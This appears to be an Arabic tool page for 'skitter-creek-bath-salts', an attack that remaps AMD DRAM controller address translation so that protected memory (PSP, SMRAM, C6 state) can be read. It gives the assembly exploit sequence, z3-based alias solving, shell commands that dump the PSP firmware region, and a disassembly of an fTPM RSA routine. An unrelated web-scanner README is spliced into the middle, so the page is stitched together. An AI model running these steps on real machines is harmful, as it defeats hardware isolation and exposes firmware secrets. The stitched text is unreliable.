العودة إلى التحديثات
UpdatedAug 31, 2026

skitter-creek-bath-salts — Updated!

فتح _كل شيء_ على وحدة المعالجة المركزية باستخدام تشويش DRAM

مشاركة

skitter-creek-bath-salts

فتح كل شيء على وحدة المعالجة المركزية عبر تشويش DRAM — PSP، وC6، والمايكروكود، وSMM، وأي شيء آخر أغفلته المواصفات.

&x == &x.

عادةً.

إزالة تشابك DRAM

اضغط على متحكم DRAM ويمكن جعل العنوان يهبط حيثما تشاء في الذاكرة. يعدّل skitter-creek-bath-salts الطبقات السفلى من تسلسل الذاكرة لإعادة توصيل ترجمات عناوين DRAM الفيزيائية. يؤدي هذا إلى تشويش ذاكرة المنصة، مما يكشف مناطق محمية من DRAM — مناطق معزولة غير مرئية حتى للنواة. وعندما تنكسر ترجمات العناوين، تنكسر معها البدائيات الأمنية المبنية عليها، ونفتح كل شيء.


باختصار


الهدف

طُوِّر واختُبِر على معالجات AMD Family 16h، آخر جيل توثّق أوراق بياناته سجلات الترجمة الخاصة بمتحكم DRAM — وتُظهر أنها لا يمكن قفلها. أما 17h وما بعده فببساطة يحجبون هذه المعلومات. إن ملحمة *p متشابهة عبر الأجيال والمعماريات، والتحويلات الأساسية تمتد حتى إلى ARM وRISC-V وما هو أبعد؛ يُظهر لنا skitter-creek-bath-salts فقط كيف نبدأ.


ملحمة *p

إنه طريق طويل نحو الأسفل.

الذاكرة مبنية على طبقات من التجريد عميقة لدرجة تصبح شبه عبثية. عندما يشير كودك إلى *p، يبدو أنه يصل إلى DRAM عند p. لكنه لا يفعل ذلك — فـ p عنوان افتراضي، وقبل أن تُلمس ولو بتة واحدة من DRAM، يجب أن ينجو من العقبات أدناه:``` ── CPU core / MMU ───────────────────────────────────────────────── ┌─ VA ← 64-bit virtual address from load/store │ └> canonical-form check ──────────────────────┐ ← bits [63:48] sign-extend from bit 47 ┌─ segment base add <─────────────────────────┘ ← FS.base / GS.base (MSR_FS_BASE, MSR_GS_BASE) │ └> TLB probe ─────────────────────────────────┐ ← tagged by PCID (host) / VPID (guest) hit → physical address k │ miss → engage hardware page walker │ ┌─ page walk (from CR3) <─────────────────────┘ ← walked only on TLB miss │ PML5[VA 56:48] ← only if CR4.LA57 │ PML4[VA 47:39] │ PDPT[VA 38:30] ← 1 GiB leaf possible │ PD [VA 29:21] ← 2 MiB leaf possible │ PT [VA 20:12] │ PTE ← R/W · U/S · NX · A/D · PAT · PCD · PWT · G │ └> per-level checks ──────────────────────────┐ ← evaluated at every level of the walk privilege (U/S) │ ← CPL vs PTE.U/S write (R/W) │ ← + CR0.WP execute (NX) │ ← EFER.NXE SMEP / SMAP │ ← CR4.SMEP · CR4.SMAP · EFLAGS.AC protection keys │ ← PKRU (user) · IA32_PKRS (supervisor) ┌─ A/D bit update <───────────────────────────┘ ← locked RMW on PTE │ └> if guest: EPT / NPT re-walk ───────────────┐ ← each guest-PA above re-walked EPT-PML4 → EPT-PDPT → EPT-PD → EPT-PT │ ← + EPT memory-type override ⇒ ~5× walks per single guest walk │ ┌─ TLB shootdown IPIs <───────────────────────┘ ← invlpg broadcast to peer vCPUs │ │ ── IOMMU (chipset / I/O fabric) ────────────────────────────────── │ └> if device-initiated, IOMMU page walk ──────┐ ← VT-d / AMD-Vi: device-ID → domain → tables │ ┌── physical address k <─────────────────┘ │ │ ── CPU core / MMU — memory-type resolution ──────────────────────── │ └> MTRR range match ──────────────────────────┐ ← IA32_MTRR_DEF_TYPE + fixed/variable MTRRs ┌─ PAT entry select <─────────────────────────┘ ← IA32_PAT[ PTE.PAT:PCD:PWT ] │ └> effective memory type ─────────────────────┐ ← { WB, WT, WC, WP, UC-, UC } │ ── CPU uncore — caches & coherence ──────────────────────────────── │ ┌─ L1-D probe <───────────────────────────────┘ ← VIPT, per-core │ └> L2 probe ──────────────────────────────────┐ ← per-core / per-CCX ┌─ LLC probe + directory consult <────────────┘ ← shared, sliced │ └> snoop / coherence ─────────────────────────┐ ← MESI / MOESI broadcast intra-socket │ ← broadcast to peer cores inter-socket │ ← QPI · UPI · Infinity Fabric · CXL.cache home-node directory response │ ← data | intervention | abort │ ── system data fabric / interconnect ────────────────────────────── │ ┌─ if MMIO range or sub-4 GiB MMIO hole <─────┘ ← uncore/data fabric posted/non-posted txn │ → device BAR; done │ └> else DRAM-bound: data fabric / mesh ───────┐ ← AMD DF · Intel mesh-or-ring uncore │ ┏━━ ── MCT / IMC (memory controller) ──────────────────────────────── W ┃ ┌─ DRAM hole remap <──────────────────────────┘ ← high-memory remap above TOM E ┃ │ ┃ └> memory-region exclusion remap ─────────────┐ ← reserved / protected ranges ┃ ┌─ channel interleave hash <──────────────────┘ ← XOR of selected PA bits → channel A ┃ │ R ┃ └> rank interleave hash ──────────────────────┐ ← XOR of selected PA bits → rank E ┃ ┌─ bank interleave hash <─────────────────────┘ ← XOR of selected PA bits → bank ┃ │ ┃ └> bank swizzle / XOR scramble ───────────────┐ ← vendor- and BIOS-configurable H ┃ ┌─ chip-select normalize (DCT) <──────────────┘ ← per-rank CS line E ┃ │ rank → CS map R ┃ │ E ┃ └> sub-channel select ────────────────────────┐ ← DDR5 / LPDDR5 only ┗━━ │ │ DRAM coordinates <─────────────────────────┘ ← bank group · bank · row (RAS) · column (CAS)

يعمل هذا المشروع على أعمق مستويات مسار `*p`، طبقة MCT/DCT
— حيث يدخل عنوان فيزيائي من نسيج البيانات/الربط البيني إلى وحدة التحكم
بالذاكرة ويُعاد كتابته للمرة الأخيرة إلى إحداثيات DRAM الخام التي
تُرسل إلى DIMM.

---

## تحويل DRAM إلى سباغيتي

> العناوين الفيزيائية هي في الحقيقة أقرب إلى اقتراح.```nasm
xor dword [0xf80c2094], 0x00400000

هذا هو الاستغلال. كله.

انقلاب بت واحد في متحكم DRAM يعيد توصيل الجزء السفلي من مسار *p، والبيانات التي كانت في &x أصبحت الآن في مكان آخر أثناء التنفيذ. فجأة &x != &x. كل آلية تستخدمها وحدة المعالجة المركزية، والبرنامج الثابت، وuncore، ومجموعة الشرائح لعزل الذاكرة المحمية تقع فوق متحكم الذاكرة، ولا شيء منها يرى ما يحدث في الأسفل. الحواجز تحمي العناوين الفيزيائية، وليس إحداثيات DRAM؛ أعد ترتيب الإحداثيات ولن تلاحظ الحواجز الموجودة في الأعلى أبداً.

لكن إعادة توصيل DRAM أمر سهل. البت المذكور أعلاه هو وضع bank-swizzle في DCT، وهو مجرد واحد من العشرات التي تتحكم في إعادة تعيين العناوين في الطبقة النهائية — كل ما عليك فعله هو العبث بها لإسقاط كل ما بُني فوقها. الجزء الأصعب بعد ذلك هو الحفاظ على استقرار المنصة بينما تكون ذاكرة النظام بأكملها مشوشة تحتها.

الحيلة: كن سريعاً، ولا تلمس DRAM. عطّل وحدات المعالجة المساعدة (APs)، وجهّز TLBs، وسخّن الذاكرة المؤقتة، وعطّل المقاطعات، وافرغ الهدف، وتسلسل عمليات الوصول إلى الذاكرة، وتمنَّ أن تكون وحدة المعالجة المركزية قد جلبت التعليمات القادمة مسبقاً. ثم أعد توصيل MCT/DCT لتشويش DRAM، والتقط بعض البيانات من المنطقة المحمية، وأعد التعيينات، وتسلسل مرة أخرى، وفعّل المقاطعات، واستأنف وحدات APs، وتعود المنصة إلى وضعها الطبيعي.```nasm mov eax, [0xf80c2094] ; prime mmio TLB mov eax, [0x6f800000] ; prime target TLB pushf ; preserve flags cli ; interrupts off clflush [0x6f800000] ; evict the target, force the dram read mfence ; barrier - no coherent world dram access lfence ; reordered into spaghettified view xor dword [0xf80c2094], 1<<22 ; flip dct swizzle → spaghettify dram mov ebx, [0x6f800000] ; fetch target in spaghettified view xor dword [0xf80c2094], 1<<22 ; restore dct swizzle → unscramble mfence ; barrier - no spaghettified dram access lfence ; reordered into coherent world view popf ; interrupts back on

مع بعض الإعداد الدقيق للترقيم وحالات الذاكرة المؤقتة والخيوط و TLBs، يمكن جعل تشويش العناوين يعمل من C، لتوضيح انهيار خط أنابيب `*p`، والعرض التالف للمنصة عندما يصبح فجأة `&x != &x`:

![&x manipulation](https://assets.kitploit.com/production/public/readmes/50084/22b2cf4272f032ae40edbca7d3b830af38cceea9d667e8f4ef39457354fce3b8.gif)

لذا يمكننا إعادة توصيل الخريطة واستعادتها دون أي أثر. كل ما تبقى هو معرفة ما أعدنا توصيله إليه.

---

## فتح *كل شيء*

> كل منطقة ذاكرة محمية على المنصة، يمكن الوصول إليها بآلة حاسبة.

باستخدام النهج أعلاه، يمكننا إعادة برمجة تحويل MCT/DCT على نظام قيد التشغيل — بإعادة ترتيب أدنى مرحلة من خط أنابيب `*p` لتشويش الذاكرة من تحت كل حماية مبنية فوقها.

لكن هناك تحدٍ: بينما يمكننا إعادة برمجة الترجمة باستخدام `xor dword [0xf80c2094], 0x00400000` بسيط، ليس لدينا أي فكرة عن التحويلات الجديدة التي سيستخدمها MCT/DCT (أوراق البيانات غير محددة بشكل كافٍ هنا — خرائط xor معطلة، ومرحلة الطرح MMIO غير مرتبة، والتفاصيل تختلف بين الطرازات).
بدون هذا، تتشوش الذاكرة، لكن ليس لدينا طريقة لإعادة بنائها.

لحسن الحظ، تحويل العنوان في وحدة تحكم DRAM هو خريطة خطية من GF(2)، مما يعني أنه يمكننا إعادة بناء الذاكرة المشوشة باستخدام الجبر الخطي الأساسي.

أولاً، لننظر إلى الحالة الطبيعية: يتم تطبيق التحويل الأمامي لتكوين MCT/DCT الافتراضي على عنوان فيزيائي ما، والذي يستقر على سر في DRAM:```
    ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │  =  │ 1 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    └                                 ┘   └   ┘     └   ┘
                M_firmware               target     secret

هذه هي الرؤية المتماسكة للذاكرة: تعمل أدنى مرحلة من مسار *p تمامًا كما ينبغي.

الآن أعد توصيل مرحلة MCT/DCT الخاصة بـ *p باستخدام xor dword [0xf80c2094], 0x00400000، فتدخل المنصة في رؤية مشوّشة/متشابكة للذاكرة حيث يسمح تحويل مختلف لـ اسم مستعار بالوصول إلى نفس سر DRAM:``` ┌ ┐ ┌ ┐ ┌ ┐ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 1 0 0 1 0 0 1 0 0 │ │ 1 │ │ 0 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ · │ 0 │ = │ 1 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │ └ ┘ └ ┘ └ ┘ M_attacker alias secret

هذا الاسم المستعار يتيح لنا الوصول إلى نفس السر دون الاصطدام بأقفال المنصة الحالية والدفاعات المبنية للعرض المتماسك. للعثور على الاسم المستعار، قم بتركيب معكوس التجزئة المهاجمة/المتشابكة مع الأمامي للتجزئة الثابتة/المتماسكة، للحصول على الترجمة التي ستصل إلى أي سر من تكوين MCT/DCT الخبيث:```
    ┌                                 ┐   ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │   │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │  =  │ 0 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    └                                 ┘   └                                 ┘   └   ┘     └   ┘
               M_attacker⁻¹                              M_firmware             target    alias

التحدي الوحيد هو أن المصفوفات غير معروفة، مما يعني أنه ليست لدينا أي فكرة عن كيفية تشويش الذاكرة فعليًا، ولا يوجد تحويل لاستخدامه للوصول إلى السر في المقام الأول:``` ┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ 1 │ = │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ └ ┘ └ ┘ └ ┘ └ ┘ M_attacker⁻¹ M_firmware target alias

لحسن الحظ، في هذه المرحلة الأمر مجرد جبر خطي، ويمكنك حل التحويلات يدويًا إذا أردت. أو: باستخدام آلة حاسبة.

نستخدم [z3](https://github.com/z3prover/z3). أولاً، يحتاج حلّال SMT إلى قيود ليعمل عليها.

ابدأ من العرض المتماسك، عدّل MCT/DCT للتبديل إلى العرض المتشابك، ألقِ قيمة حارسة مثل `0xdeadc0de` في عنوان عشوائي في الذاكرة، ثم ارجع إلى العرض المتماسك، وامسح الذاكرة بحثًا عن المكان الذي تظهر فيه القيمة الحارسة مجددًا. يمنحك هذا زوجًا (هدف، مرادف) — نقطة بيانات ملموسة تُظهر عنوانين فيزيائيين يُخطَّطان إلى نفس الخلية في DRAM. كرّر العملية، واجمع مجموعة من البيانات، ومرّرها إلى z3، وسيحل مصفوفة التحويل اللازمة للتحويل بين العرضين — أي عنوان فيزيائي في العرض المتماسك على أحد الجانبين، ومرادفه في العرض المتشابك على الجانب الآخر:```
    ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 1 │  =  │ 0 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    └                                 ┘   └   ┘     └   ┘
         M_attacker⁻¹ ∘ M_firmware        target    alias

يسمح لنا إدخال أزواج الأسماء المستعارة إلى z3 واحدًا تلو الآخر بمراقبة محلل SMT وهو يفك تشفير تشويش الذاكرة في الوقت الفعلي، كما هو موضح في الصورة الافتتاحية.

التحويل المُحلَّل هو حجر رشيد: أي عنوان هدف في العرض المتماسك يُقابل اسمًا مستعارًا يصل إلى نفس DRAM في العرض المتشابك. للوصول إلى أي ذاكرة محمية، خذ عنوانًا لا يمكننا لمسه عادةً — ذاكرة PSP الخاصة، SMRAM، حالة الخمول C6 — ومرّره عبر التحويل للحصول على اسمه المستعار. ثم أعد توصيل DCT باستخدام xor dword [0xf80c2094], 0x00400000، واقرأ أو اكتب الاسم المستعار، ثم ارجع باستخدام xor ثانٍ. مسار الاسم المستعار عبر خط أنابيب *p لا يصطدم أبدًا بسياج بنته المنصة للعرض المتماسك — وصول غير مقيّد إلى أي شيء في DRAM.

فتح DRAM

في النهاية، كل شيء محاط بعناية شديدة — ذاكرة PSP الخاصة، SMRAM، حالة الخمول C6، غير قابلة للوصول من نظام التشغيل، ring-0، وأحيانًا المعالج نفسه — لا يزال موجودًا في نفس مكثفات DRAM. لكن الأقفال بُنيت حول العرض المتماسك للذاكرة، ولا تفعل شيئًا ضد اسم مستعار متشابك يصل إلى نفس الخلية.

اقلب بتًا واحدًا في المستوى النهائي من خط أنابيب *p، وقد فتحنا كل شيء.


البدء السريع: افتح معالج أمان المنصة الخاص بك

تلاعب بـ PSP الخاص بك، وانظر ما يحدث.

يعمل fTPM على نواة ARM الخاصة بـ PSP، في منطقة DRAM محجوزة مباشرة بعد قمة الذاكرة المرئية. اصل إليه عن طريق إسناد اسم مستعار لعنوان فيزيائي مرئي لنظام التشغيل عليه، واستخرج البايتات، وفكّ التجميع.```sh

Bail out early on platforms this was never tested on.

./userspace/platform_check || exit 1

Resolve the PSP DRAM carveout — sets PSP_BASE / PSP_SIZE (0x7f800000 /

0x800000 on the test box). Swap 2x4gb for whichever data/maps/ prefix

matches your DIMMs; one --map per saved map.

eval "$(sudo ./userspace/dram_carveouts --region psp)" sudo ./userspace/dram_dump --protected-pa $PSP_BASE --length $PSP_SIZE
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > psp.bin

The PSP is an ARM core, so disassemble as Thumb-2. Carve crAmd_ModExp

(0x64 bytes at PSP_BASE+0x19d4) straight out of the captured image.

objdump -b binary -m armv7 -M force-thumb --adjust-vma=$PSP_BASE
--start-address=$((PSP_BASE + 0x19d4))
--stop-address=$((PSP_BASE + 0x19d4 + 0x64))
-D psp.bin

## الميزات الرئيسية

- **اكتشاف تلقائي للتقنيات**: التعرف على أطر العمل وقواعد البيانات وخدمات الويب تلقائيًا
- **كشف الثغرات الأمنية**: فحص شامل للثغرات الأمنية الشائعة
- **تحليل التكوين**: كشف الأخطاء في التكوين وإعدادات الأمان
- **تقييم الأمان**: تقييم مستوى الأمان العام للتطبيق
- **تقارير مفصلة**: إنشاء تقارير شاملة قابلة للتصدير
- **واجهة سطر أوامر سهلة**: واجهة بسيطة وبديهية للاستخدام

## التثبيت

### المتطلبات الأساسية

- Python 3.8 أو أحدث
- pip (مدير حزم Python)

### التثبيت عبر pip

```bash
pip install websec-scanner

التثبيت من المصدر

git clone https://github.com/example/websec-scanner.git
cd websec-scanner
pip install -r requirements.txt
python setup.py install

الاستخدام

الاستخدام الأساسي

websec-scanner --url https://example.com

خيارات متقدمة

websec-scanner --url https://example.com --deep-scan --output report.html --format html

المعاملات المتاحة

المعاملالوصف
--urlعنوان URL الهدف للفحص
--deep-scanتفعيل الفحص العميق
--outputمسار ملف الإخراج
--formatتنسيق الإخراج (json, html, xml)
--threadsعدد الخيوط المتزامنة
--timeoutمهلة الاتصال بالثواني
--verboseتفعيل الإخراج المفصل

أمثلة الاستخدام

فحص موقع ويب بسيط

websec-scanner --url https://example.com

فحص مع تقرير HTML

websec-scanner --url https://example.com --output report.html --format html

فحص عميق مع خيوط متعددة

websec-scanner --url https://example.com --deep-scan --threads 10

وحدات الفحص

وحدة كشف التقنيات

تقوم هذه الوحدة بالتعرف على التقنيات المستخدمة في التطبيق المستهدف، بما في ذلك:

  • أطر عمل الويب (Django, Flask, Express, إلخ)
  • قواعد البيانات (MySQL, PostgreSQL, MongoDB, إلخ)
  • خوادم الويب (Apache, Nginx, IIS, إلخ)
  • لغات البرمجة (PHP, Python, Node.js, إلخ)

وحدة كشف الثغرات

تقوم هذه الوحدة بالبحث عن الثغرات الأمنية الشائعة مثل:

  • ثغرات حقن SQL (SQL Injection)
  • ثغرات البرمجة النصية عبر المواقع (XSS)
  • ثغرات تضمين الملفات (File Inclusion)
  • ثغرات تنفيذ الأوامر (Command Injection)
  • ثغرات رفع الملفات (File Upload)

وحدة تحليل التكوين

تقوم هذه الوحدة بتحليل تكوين التطبيق للكشف عن:

  • إعدادات الأمان الضعيفة
  • الملفات والمجلدات المكشوفة
  • رؤوس HTTP المفقودة
  • شهادات SSL/TLS غير الصالحة

التكوين

يمكن تكوين الأداة باستخدام ملف تكوين YAML:

scanner:
  threads: 5
  timeout: 30
  user_agent: "WebSec-Scanner/1.0"
  
modules:
  technology_detection:
    enabled: true
  vulnerability_scan:
    enabled: true
  configuration_analysis:
    enabled: true

output:
  format: json
  verbose: false

المساهمة

نرحب بالمساهمات! يرجى اتباع الخطوات التالية:

  1. قم بعمل fork للمستودع
  2. أنشئ فرعًا للميزة الجديدة (git checkout -b feature/amazing-feature)
  3. قم بعمل commit للتغييرات (git commit -m 'Add amazing feature')
  4. قم برفع الفرع (git push origin feature/amazing-feature)
  5. افتح طلب سحب (Pull Request)

الترخيص

هذا المشروع مرخص تحت رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل.

إخلاء المسؤولية

هذه الأداة مخصصة للأغراض التعليمية واختبار الاختراق الأخلاقي فقط. يجب استخدامها فقط على الأنظمة التي تملك إذنًا صريحًا باختبارها. المؤلفون غير مسؤولين عن أي استخدام غير قانوني أو أضرار ناتجة عن استخدام هذه الأداة.

الاتصال

شكر وتقدير

  • شكر خاص لجميع المساهمين في هذا المشروع
  • مستوحى من أدوات أمان الويب مفتوحة المصدر الأخرى```armasm ; crAmd_ModExp — the fTPM's RSA modular-exponentiation routine, recovered intact ; from the PSP's private DRAM. 7f8019d4: b5f0 push {r4, r5, r6, r7, lr} 7f8019d6: b0e5 sub sp, #404 7f8019de: 2280 movs r2, #128 ; 1024-bit operand 7f8019e4: f7fe ffef bl 0x7f8009c6 ; import base (aA) 7f8019ee: a0eb adr r0, 0x7f801d9c ; "crAmd_ModExp aA failed, status = 0x%x" 7f8019f8: f7fe ffe5 bl 0x7f8009c6 ; import exponent (aB) 7f801a02: a0f0 adr r0, 0x7f801dc4 ; "crAmd_ModExp aB failed status = 0x%x" 7f801a18: f000 fdd4 bl 0x7f8025c4 ; the modexp itself 7f801a20: a0f2 adr r0, 0x7f801dec ; "crAmd_ModExp failed ret=0x%08x, exit" 7f801a22: f000 fef5 bl 0x7f802810 ; log error 7f801a2e: f001 e92a blx 0x7f802c84 ; export result 7f801a36: bdf0 pop {r4, r5, r6, r7, pc}
